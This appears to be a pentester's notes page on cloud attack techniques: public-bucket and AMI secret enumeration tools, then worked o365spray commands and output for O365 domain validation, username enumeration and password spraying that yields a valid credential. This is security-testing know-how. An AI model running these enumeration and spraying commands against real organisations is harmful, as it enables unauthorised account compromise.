Cloud

Cloud

Google Dorks

Google Dorks

Online tool

Public Buckets by GrayhatWarfare

Public Bucketssecgron

Enumeration - Bruteforce

Cloud Enum

GitHub - initstring/cloud_enum: Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.GitHub

cloud-enum | Kali Linux ToolsKali Linux

s3enum

GitHub - koenrh/s3enum: Fast and stealthy Amazon S3 bucket enumeration tool for pentesters.GitHub

lazys3

GitHub - nahamsec/lazys3GitHub

Public AWS S3 Buckets

Scan for sensitive files and secrets - CloudShovel

GitHub - saw-your-packet/CloudShovel: A tool for scanning public or private AMIs for sensitive files and secrets. The tool follows the research made on AWS CloudQuarry where we scanned 20k+ public AMIs.GitHub

Misconf - Permissions ?

AWS

Private and Public SSH Keys Leaked

Cloudflare R2 Buckets

Hacking misconfigured Cloudflare R2 buckets: a complete guideIntigriti

O365

Spray - Validate O365

GitHub - 0xZDH/o365spray: Username enumeration and password spraying tool aimed at Microsoft O365.GitHub

$ python3 o365spray.py --validate --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > validate       :  True
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:46:40

>----------------------------------------<

[2022-04-13 09:46:40,344] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:46:40,743] INFO : [VALID] The following domain is using O365: msplaintext.xyz

Identify usernames

$ python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz        
                                       
            *** O365 Spray ***             

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > enum           :  True
   > userfile       :  users.txt
   > enum_module    :  office
   > rate           :  10 threads
   > timeout        :  25 seconds
   > start          :  2022-04-13 09:48:03

>----------------------------------------<

[2022-04-13 09:48:03,621] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:48:04,062] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-13 09:48:04,064] INFO : Running user enumeration against 67 potential users
[2022-04-13 09:48:08,244] INFO : [VALID] [e-mail]
[2022-04-13 09:48:10,415] INFO : [VALID] [e-mail]
[2022-04-13 09:48:10,415] INFO : 

[ * ] Valid accounts can be found at: '/opt/o365spray/enum/enum_valid_accounts.2204130948.txt'
[ * ] All enumerated accounts can be found at: '/opt/o365spray/enum/enum_tested_accounts.2204130948.txt'

[2022-04-13 09:48:10,416] INFO : Valid Accounts: 2

Password Spraying Office 365PwnDefend

GitHub - dievus/Oh365UserFinder: Python3 o365 User Enumeration ToolGitHub

Oh365UserFinder: identifying valid o365 accounts and domainsCybersecurity News

Brute force

We can instead try to use custom tools such as o365spray or MailSniper for Microsoft Office 365 or CredKing for Gmail or Okta. Keep in mind that these tools need to be up-to-date because if the service provider changes something (which happens often), the tools may not work anymore

$ python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz

            *** O365 Spray ***            

>----------------------------------------<

   > version        :  2.0.4
   > domain         :  msplaintext.xyz
   > spray          :  True
   > password       :  March2022!
   > userfile       :  usersfound.txt
   > count          :  1 passwords/spray
   > lockout        :  1.0 minutes
   > spray_module   :  oauth2
   > rate           :  10 threads
   > safe           :  10 locked accounts
   > timeout        :  25 seconds
   > start          :  2022-04-14 12:26:31

>----------------------------------------<

[2022-04-14 12:26:31,757] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-14 12:26:32,201] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-14 12:26:32,202] INFO : Running password spray against 2 users.
[2022-04-14 12:26:32,202] INFO : Password spraying the following passwords: ['March2022!']
[2022-04-14 12:26:33,025] INFO : [VALID] [e-mail]:March2022!
[2022-04-14 12:26:33,048] INFO : 

[ * ] Writing valid credentials to: '/opt/o365spray/spray/spray_valid_credentials.2204141226.txt'
[ * ] All sprayed credentials can be found at: '/opt/o365spray/spray/spray_tested_credentials.2204141226.txt'

[2022-04-14 12:26:33,048] INFO : Valid Credentials: 1